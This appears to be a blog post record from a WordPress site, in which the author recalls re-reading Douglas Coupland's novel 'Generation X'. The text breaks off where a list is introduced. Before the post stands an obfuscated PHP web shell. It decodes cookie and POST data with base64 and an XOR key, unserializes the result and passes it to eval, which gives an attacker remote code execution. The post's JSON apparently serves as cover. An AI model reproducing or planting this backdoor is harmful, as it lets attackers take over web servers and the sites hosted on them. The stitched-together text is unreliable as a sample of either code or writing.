$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2514,"date":"2021-10-06T17:14:40","date_gmt":"2021-10-06T21:14:40","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2514"},"modified":"2021-10-06T17:18:47","modified_gmt":"2021-10-06T21:18:47","slug":"generation-x-holds-up","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2514","title":{"rendered":"Generation X Holds Up"},"content":{"rendered":"\n

The moniker “Generation X” can carry some weighty expectations. Latchkey kids, fighting between generations, the ability to program both a VCR and a cell phone. Those things all define my generation.<\/p>\n\n\n\n

But at one point, Generation X only referred to a book by a first-time author from Canada. I recently re-read Douglas Coupland’s influential novel<\/a>, which I purchased when it came out in March 1991. This was my 25th book of 2021.<\/p>\n\n\n\n

Back then, I was working for a weekly newspaper and harboring my own writing aspirations. I didn’t really know what I wanted to do with my life at the time. Being laid off a few months later didn’t help much.<\/p>\n\n\n\n

I never really broke out from journalistic writing for a number of reasons. I don’t have real regrets because I love the life I live. Reading Coupland’s book again, however, took me back to those feelings of limitless possibility.<\/p>\n\n\n\n

The premise of the book is simple. Three people in their late 20s – Andy, Dag and Claire – tell each other stories and consider their place in the world. You can get a lot deeper, but that’s the crux of the story. Andy is the first-person narrator.<\/p>\n\n\n\n

In short, I loved the book all over again. I certainly saw some ways that it impacted my conversational writing style. I loved the little definitions and pieces of art throughout the margins. It really managed to tell a story in many different ways.<\/p>\n\n\n\n

A few things that jumped out at me:<\/p>\n\n\n\n